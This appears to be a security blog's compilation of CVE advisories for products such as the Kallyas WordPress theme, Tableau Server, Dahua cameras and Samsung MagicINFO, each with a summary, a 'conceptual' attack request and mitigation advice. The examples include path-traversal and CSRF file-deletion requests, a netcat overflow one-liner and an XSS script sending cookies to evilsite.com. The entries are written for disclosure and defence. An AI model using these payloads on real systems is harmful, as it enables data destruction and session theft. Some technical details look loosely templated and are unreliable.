Author: Ameeba

Overview

The CVE-2025-6989 vulnerability is a notable cybersecurity concern that affects the Kallyas theme for WordPress, a widely-used framework for building WordPress websites. The vulnerability originates from the delete_font() function and allows attackers to delete arbitrary folders on the server due to insufficient file path validation.
This vulnerability is significant because it exposes numerous websites built using Kallyas theme to attacks that can potentially lead to system compromise or data leakage. As the vulnerability could be exploited by any authenticated user with Contributor-level access and above, it also raises concerns about insider threats.

Vulnerability Summary

CVE ID: CVE-2025-6989
Severity: High, CVSS score 8.1
Attack Vector: Network
Privileges Required: Low (Contributor-level access)
User Interaction: Required
Impact: Potential system compromise or data leakage.

Affected Products

Product | Affected Versions

Kallyas WordPress Theme | Up to and including 4.21.0

How the Exploit Works

The exploit takes advantage of the delete_font() function in the Kallyas WordPress theme, which lacks proper file path validation. An attacker with Contributor-level access can manipulate this function to delete any folder on the server, not just the intended font folders. By deleting critical system or application folders, the attacker could cause significant disruption or even compromise the system.

Conceptual Example Code

Below is a conceptual example of how an attacker might exploit this vulnerability. This pseudocode demonstrates a HTTP POST request to the delete_font() function, providing an arbitrary directory path instead of a valid font name.

POST /wp-admin/admin-ajax.php?action=zn_delete_font HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
Cookie: [authenticated session cookie]
font_name=../../../important-folder

In this example, the `font_name` parameter is manipulated to point to an arbitrary directory (`../../../important-folder`). The server, failing to validate the path properly, would delete the specified folder, potentially leading to a system compromise or data leakage.

Mitigation Guidance

To mitigate the risks associated with CVE-2025-6989, it is recommended to apply the vendor-provided patch as soon as possible. If this is not immediately feasible, temporary mitigation can be achieved by deploying Web Application Firewall (WAF) rules or Intrusion Detection Systems (IDS) to monitor and block suspicious requests to the `zn_delete_font` action. However, this is a temporary solution and the patch should still be applied as soon as possible to avoid future exploitation.

Overview

Salesforce Tableau Server, a popular data visualization tool, has been identified with a severe vulnerability, categorized as an “Authorization Bypass Through User-Controlled Key” flaw. This particular vulnerability, CVE-2025-52448, can allow malicious actors to manipulate the interface and gain data access to the production database cluster. This issue poses a significant threat to enterprises running affected versions of Tableau Server on Windows and Linux platforms, potentially leading to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-52448
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Salesforce Tableau Server on Windows | before 2025.1.3, before 2024.2.12, before 2023.3.19
Salesforce Tableau Server on Linux | before 2025.1.3, before 2024.2.12, before 2023.3.19

How the Exploit Works

The vulnerability stems from the ‘validate-initial-sql’ API modules in Tableau Server. When not properly secured, these modules can allow a user to manipulate the interface thereby bypassing authorization. This can lead to unauthorized access to sensitive data stored in the production database cluster.

Conceptual Example Code

This is a conceptual example of how an attacker might exploit this vulnerability via a HTTP POST request, sending a malicious payload to the ‘validate-initial-sql’ endpoint:

POST /validate-initial-sql HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "user-controlled-key": "malicious_payload" }

In the above scenario, the attacker sends a crafted input in the ‘user-controlled-key’ field that tricks the server into bypassing authorization checks, thereby granting the attacker access to the production database.

Mitigation and Recommendations

The most effective mitigation for this vulnerability is to apply the vendor-provided patch. Salesforce has released patches for affected versions of Tableau Server. It is highly recommended that all users running affected versions update their systems immediately.
As a temporary measure, users can implement a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and block attempts to exploit this vulnerability. However, these measures should not be seen as a long-term solution, as they do not address the root cause of the vulnerability.

Overview

The cybersecurity world is once again in the spotlight, this time revolving around a critical vulnerability found in Salesforce’s Tableau Server. This vulnerability, known as CVE-2025-52447, affects both Windows and Linux platforms and has been identified as an Authorization Bypass Through User-Controlled Key vulnerability. The discovery of this vulnerability is significant as it can potentially lead to system compromise or data leakage, posing serious threats to businesses and organizations using the affected server.
The severity of this issue is heightened by the fact that it allows Interface Manipulation, granting unauthorized data access to the production database cluster. This is a grave concern for any organization, as this unauthorized access could lead to the exposure of confidential and sensitive data.

Vulnerability Summary

CVE ID: CVE-2025-52447
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Tableau Server on Windows | before 2025.1.3
Tableau Server on Linux | before 2025.1.3
Tableau Server on Windows | before 2024.2.12
Tableau Server on Linux | before 2024.2.12
Tableau Server on Windows | before 2023.3.19
Tableau Server on Linux | before 2023.3.19

How the Exploit Works

The vulnerability arises from the way the server handles the ‘set-initial-sql tabdoc’ command modules. A well-crafted command may allow an attacker to manipulate the user interface, thereby bypassing authorization checks. This ultimately grants the attacker unauthorized access to the production database cluster where they can potentially retrieve, alter, or delete sensitive data.

Conceptual Example Code

Although we won’t provide a direct exploit code to prevent misuse, the conceptual code might look something like this:

POST /set-initial-sql/tabdoc HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "user_controlled_key": "bypass_authorization:true" }

In the above example, the ‘user_controlled_key’ is manipulated to bypass the authorization check. The server, failing to validate the legitimacy of the command, grants the attacker access to the production database cluster.

Overview

The cybersecurity world is on high alert due to a recently discovered critical vulnerability, dubbed CVE-2025-29630, in Gardyn 4 systems. This vulnerability allows a remote attacker with the corresponding ssh private key to gain remote root access to affected devices. Given the popularity of Gardyn systems in various industry sectors, this vulnerability poses a significant threat to data security and network integrity.
The severity of CVE-2025-29630 is underscored by its high CVSS Severity Score of 8.1, indicating its potential for severe impact. It’s a reminder that even established systems like Gardyn 4 are not immune to cybersecurity threats and emphasizes the importance of continuous security monitoring and incident response.

Vulnerability Summary

CVE ID: CVE-2025-29630
Severity: Critical (CVSS: 8.1)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Gardyn 4 | All versions

How the Exploit Works

The exploit works by leveraging a poorly secured ssh private key access. If a malicious actor gains access to the corresponding ssh private key, they can gain remote root access to the affected Gardyn 4 devices. This allows them unprecedented control over the system and the ability to manipulate, steal, or destroy data at will.

Conceptual Example Code

The following is a conceptual example code of how the vulnerability might be exploited. It represents a shell command using ssh with the private key.

ssh -i /path/to/private/key root@targetIP

In this example, `/path/to/private/key` is the path where the ssh private key is stored, and `targetIP` is the IP address of the targeted Gardyn 4 device. Once the command is executed, the attacker gains root access to the target device.

Mitigation Measures

The primary mitigation measure for CVE-2025-29630 is to apply the vendor patch as soon as it becomes available. Until then, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as a temporary mitigation measure.
These systems can help detect and block potential ssh traffic that might be associated with attempts to exploit this vulnerability. However, it’s essential to remember that these are just temporary solutions and the vendor patch should be applied as soon as possible to ensure full protection against this vulnerability.

Overview

The cybersecurity world is currently dealing with a critical issue identified as CVE-2025-29628. This vulnerability exists in Gardyn 4, a popular software application. It allows remote attackers to obtain sensitive information and execute arbitrary code via a single request. Because Gardyn 4 is widely used in many industries, this vulnerability has the potential to affect a vast number of systems, making it a significant concern for organizations worldwide. The potential impact of this critical vulnerability includes system compromise and data leakage, two outcomes that no organization wants to experience.

Vulnerability Summary

CVE ID: CVE-2025-29628
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, potential data leakage

Affected Products

Product | Affected Versions

Gardyn 4 | All versions

How the Exploit Works

The vulnerability lies in the way Gardyn 4 handles certain types of network requests. A remote attacker can exploit this weakness by sending a specially crafted request to a vulnerable system. The request forces Gardyn 4 to leak sensitive information and allows the attacker to execute arbitrary code. The code execution occurs in the security context of the system, which could potentially allow the attacker to gain control of the affected system.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This is a sample HTTP request that sends a malicious payload to the vulnerable endpoint:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "<arbitrary code>" }

In this example, “ represents the code that an attacker might attempt to execute on the target system. This is merely a conceptual representation and not an actual exploit code.

Mitigation and Prevention

While the vendor is currently working on a patch to fix this vulnerability, there are temporary mitigation steps that can be taken to minimize the risk. It is recommended to use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to detect and block malicious requests. Administrators should monitor their systems for any signs of unauthorized access or unusual network activity. If a vendor patch becomes available, it should be applied as soon as possible to protect against this serious vulnerability.

Overview

In the world of cybersecurity, staying one step ahead of vulnerabilities is paramount. One such vulnerability affecting the hiWeb Export Posts plugin for WordPress has been identified, CVE-2025-7640. This vulnerability poses a significant threat to WordPress users who have the hiWeb Export Posts plugin installed on their sites. The vulnerability allows for Cross-Site Request Forgery (CSRF) attacks, potentially leading to unauthorized file deletions and even remote code execution. Given the widespread use of WordPress and this plugin, addressing this vulnerability is a critical task for administrators and developers alike.

Vulnerability Summary

CVE ID: CVE-2025-7640
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

hiWeb Export Posts | <= 0.9.0.0 How the Exploit Works

The vulnerability lies in the tool-dashboard-history.php file of the hiWeb Export Posts plugin. This file lacks proper nonce validation, allowing unauthenticated attackers to forge requests. If successful, the attacker can delete any file on the server, including crucial ones such as wp-config.php. This file deletion can lead to remote code execution. However, to exploit this vulnerability, the attacker needs to trick a site administrator into performing an action, such as clicking on a malicious link.

Conceptual Example Code

Here’s a conceptual example of how an attacker might exploit this vulnerability:

POST /wp-admin/tools.php?page=hiweb-export-posts HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
action=delete&file=wp-config.php

In this example, the attacker sends a POST request to the vulnerable page, specifying the delete action and targeting the wp-config.php file. If an administrator unwittingly triggers this request, the server will delete the wp-config.php, potentially leading to remote code execution.

Mitigation Guidance

It’s essential for users to mitigate this threat as soon as possible. The recommended solution is to apply the vendor patch when it’s available. In its absence, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. Always ensure that your systems are up-to-date, and be wary of any suspicious activity that could indicate an attempt to exploit this vulnerability.

Overview

In the constantly evolving landscape of cybersecurity, a new vulnerability, CVE-2025-31701, has been discovered that potentially affects a wide range of Dahua products. Dahua, a leading solution provider in the global video surveillance industry, has several products that could be exploited by cybercriminals. This vulnerability is particularly alarming because, if successfully exploited, it could lead to severe consequences such as service disruption, remote code execution, and potentially system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-31701
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Dahua DVR | All versions
Dahua IP Camera | All versions

How the Exploit Works

The vulnerability lies in the handling of packets by Dahua products. Attackers can exploit this buffer overflow vulnerability by sending specially crafted malicious packets to the device. If the packet is not properly validated by the receiving software, it could overflow the buffer, causing the system to crash or potentially allowing the attacker to execute arbitrary code on the system. While some devices may have deployed protection mechanisms like Address Space Layout Randomization (ASLR), it only reduces the likelihood of remote code execution but does not eliminate the risk of denial-of-service attacks.

Conceptual Example Code

Here’s an example of how the vulnerability might be exploited. An attacker could send a malicious HTTP POST request to the target device:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/octet-stream
{ "malicious_payload": "BUFFEROVERFLOW" }

In this conceptual example, “BUFFEROVERFLOW” is a placeholder for the actual malicious payload that would exploit the buffer overflow vulnerability.

Mitigation and Remediation

To mitigate this vulnerability, it is advised that users immediately apply the vendor-supplied patch. In the interim, or if a patch is not available, deploying a Web Application Firewall (WAF) or Intrusion Detection System (IDS) could provide temporary mitigation by identifying and blocking malicious packets. Regularly updating and patching software, in addition to deploying robust cybersecurity measures, is essential in the ongoing fight against cyber threats.

Overview

The CVE-2025-31700 is a critical security vulnerability discovered in the Dahua products. This vulnerability, if exploited, could potentially disrupt services or even execute remote code without user interaction. Given the widespread use of Dahua products, this vulnerability poses a significant threat to organizations and individuals alike, making it pertinent to understand its intricacies, potential impacts, and the steps required for mitigation.

Vulnerability Summary

CVE ID: CVE-2025-31700
Severity: High (8.1 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Possible system compromise and data leakage

Affected Products

Product | Affected Versions

Dahua DVR | All versions
Dahua IP Camera | All versions

How the Exploit Works

The exploit takes advantage of a buffer overflow vulnerability in Dahua products. Attackers can send specially crafted malicious packets to the device, causing a buffer overflow. This could lead to service disruption, such as crashes, or even remote code execution (RCE). While some devices may have protection mechanisms like Address Space Layout Randomization (ASLR) decreasing the chances of successful RCE exploitation, denial-of-service (DoS) attacks are still a viable threat.

Conceptual Example Code

This is a conceptual example of what a malicious packet might look like. This is not a real exploit code, but is designed to illustrate the concept of a buffer overflow attack.

$ echo -e "GET / HTTP/1.1\r\nHost: vulnerabledevice\r\n$(python -c 'print "A"*5000')\r\n\r\n" | nc vulnerabledevice 80

This conceptual example sends a GET request with an overly long header value, potentially causing a buffer overflow in the Dahua device. Here, ‘A’*5000 symbolizes a string of arbitrary length designed to overflow the buffer. The nc command sends this request to the vulnerable device.

Mitigation Guidance

Dahua has released a vendor patch that fixes this vulnerability, and it is strongly recommended for all users to apply this patch immediately. If the patch cannot be applied right away, deploying a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as a temporary mitigation. These systems can detect and block malicious packets, preventing an attacker from exploiting this vulnerability.

Overview

The vulnerability identified as CVE-2025-54447 poses a significant risk to users of Samsung Electronics MagicINFO 9 Server. This software flaw allows for unrestricted uploading of files with potentially harmful types, leading to the possibility of code injection attacks. This vulnerability impacts any version of MagicINFO 9 Server prior to 21.1080.0.
The implications of this vulnerability are severe and could lead to system compromise or data leakage, thus making it crucial for users and administrators of MagicINFO 9 Server to understand the risks involved and take the necessary steps to mitigate the threat.

Vulnerability Summary

CVE ID: CVE-2025-54447
Severity: High (CVSS Score: 8.1)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: System compromise, potential data leakage

Affected Products

Product | Affected Versions

Samsung Electronics MagicINFO 9 Server | Less than 21.1080.0

How the Exploit Works

The vulnerability occurs due to inadequate validation of file types during the upload process in MagicINFO 9 Server. An attacker, by crafting a particular malicious file, can upload it to the server. The server, not recognizing the dangerous nature of this file, accepts and processes it. This situation allows the attacker to inject malicious code, which can be executed within the server’s environment. This execution can lead to system compromise or data leakage.

Conceptual Example Code

Here’s a conceptual example of how this vulnerability could be exploited:

POST /upload_endpoint HTTP/1.1
Host: vulnerable-magicinfo-server.com
Content-Type: application/octet-stream
Content-Disposition: form-data; name="file"; filename="malicious.dll"
{ byte_stream_of_malicious_file }

In this example, an attacker crafts a malicious DLL file (`malicious.dll`) and uploads it to the vulnerable server endpoint. Once uploaded and processed by the server, this file can execute malicious code, compromising the system and potentially leading to data leakage.

Mitigation

The primary mitigation strategy for this vulnerability is to apply the vendor’s patch, which addresses this specific security issue. For MagicINFO 9 Server users, this involves upgrading to version 21.1080.0 or newer.
As a temporary mitigation, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can help protect against this vulnerability by detecting and blocking attempts to exploit it. These systems can be configured to block or alert on suspicious file uploads, providing a layer of protection while a more permanent solution is implemented.

Overview

The cybersecurity world is once again on high alert due to a newly identified vulnerability, CVE-2025-41425. This threat is specifically targeted at DuraComm’s SPM-500 DP-10iN-100-MU, making it susceptible to a cross-site scripting (XSS) attack. This vulnerability matters greatly, as it could allow an attacker to prevent legitimate users from accessing the web interface, potentially compromising systems or leading to data leakage. As cyber-attacks continue to grow in sophistication, understanding and mitigating such vulnerabilities is of paramount importance for all organizations using the affected product.

Vulnerability Summary

CVE ID: CVE-2025-41425
Severity: High (8.1 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: System Compromise, Data Leakage

Affected Products

Product | Affected Versions

DuraComm SPM-500 DP-10iN-100-MU | All versions

How the Exploit Works

An attacker exploiting this vulnerability would typically design a malicious script and inject it into a web page viewed by a user. This script is designed to bypass the same-origin policy, enabling access to sensitive information, and potentially leading to unauthorized execution of commands. As a result, the attacker could create, read, update, or delete any arbitrary data available through the user’s access permissions, thus leading to a system compromise or data leakage.

Conceptual Example Code

Below is a simplified example of how this vulnerability might be exploited. This example showcases an HTTP request carrying a malicious payload.

GET /vulnerable/endpoint HTTP/1.1
Host: target.example.com
<script>
// Malicious code here
document.location= 'http://www.evilsite.com/steal.php?cookie='+document.cookie;
</script>

In this example, the attacker is attempting to steal the user’s cookie data, which could include session information or other valuable data. This data is then sent to the attacker’s site for collection. This is just one of many possible ways this vulnerability could be exploited, and actual attack vectors may vary.

Mitigation Guidance

To mitigate the risk associated with this vulnerability, users should apply the vendor patch as soon as it becomes available. In the meantime, deploying a web application firewall (WAF) or intrusion detection system (IDS) can serve as a temporary solution. These systems can help monitor and block any suspicious activities, thus reducing the potential impact of this vulnerability.
In conclusion, while CVE-2025-41425 poses a significant threat to the DuraComm SPM-500 DP-10iN-100-MU, with prompt action and adherence to the suggested mitigation measures, users can minimize the risk and impact associated with this vulnerability.